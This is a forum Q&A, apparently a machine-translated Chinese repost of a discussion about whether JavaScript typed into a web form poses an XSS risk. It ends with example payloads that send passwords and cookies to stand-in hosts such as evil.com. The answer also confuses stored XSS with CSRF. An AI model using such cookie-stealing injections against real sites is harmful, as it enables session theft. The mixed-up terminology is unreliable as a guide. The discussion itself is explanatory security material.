So for example if you have a web page that says “What is your name?” with an edit Box and then submitting that page takes you to another page that says,Hello,Elmer! (assuming the user’s name is Elmer),well,that’s a security vulnerability,because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things,and now those narsty things appear to come from you,so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
由于JavaScript在客户端运行.它只能在客户端访问或执行.
>它可以读取存储在隐藏字段中的信息并更改它们.
>它可以读取,写入或操作cookies …
但是我觉得,这些信息无论如何也可供他使用. (如果他足够聪明,可以在一个文本框中传递javascript,那么我们并没有赋予他新的信息或提供他不正当的访问我们的服务器…
只是好奇地知道我是否想念某件事您可以列出恶意用户可以使用此安全漏洞执行的操作.
编辑:感谢所有的启发.正如kizzx2在其中一个意见中指出的那样,我忽略了用户A编写的JavaScript可能会在用户B的浏览器中执行的事实,在这种情况下,这将成为一个很大的风险.
解决方法
引用的段落很简单 – 它允许您执行一些JavaScript.恭喜 – 我可以做同样的Firebug,这给我一个命令行玩,而不是使用一些网站给我的文本框,我必须滥用它.
我真的认为乔尔在写作时不是很清醒.这个例子是简单的误导.
编辑一些更多的细节:
我们应该注意几件事情:
>除非执行,代码不能做任何伤害.
> JavaScript只能在客户端执行(是的,有服务器端的JavaScript,但显然不在这个问题/文章的上下文中)
>如果用户写了一些JavaScript,然后在自己的机器上执行 – 哪里有害?没有,因为他可以随时从Firebug执行JavaScript,而不经过一个文本框.
当然还有其他人已经解释过的CSRF.存在威胁的唯一情况是用户A可以写入在用户B的机器中执行的一些代码.
几乎所有的答案都直接回答了“JavaScript会有什么损害”的问题.向CSRF的方向说明 – 这要求用户A能够编写用户B可以执行的代码.
所以这里有一个更完整的两部分答案:
如果我们在谈论引用的段落,答案是“不伤害”
我不会解释这段经文的含义,就像上述情景一样,因为它很明显地在谈论一个基本的“你好,埃尔默世界”的例子.为了综合地引出隐含的含义,只会使其更具误导性.
如果我们在谈论“JavaScript可以做什么,一般来说”,答案与基本的XSS / CSRF有关
奖金这里有几个更现实的场景,可以发生CSRF(用户A写入用户B的机器上的JavaScript)
>网页从GET获取参数.攻击者可以诱使受害者访问http://foo.com/?send_password_to=malicIoUs.attacker.com>网页逐个显示一个用户生成的内容给其他用户.攻击者可以在他的头像的URL中放置一些likm:< script> send_your_secret_cookies_to(‘http://evil.com’)< / script> (这需要一些调整来获得通过引用等等,但你得到的想法)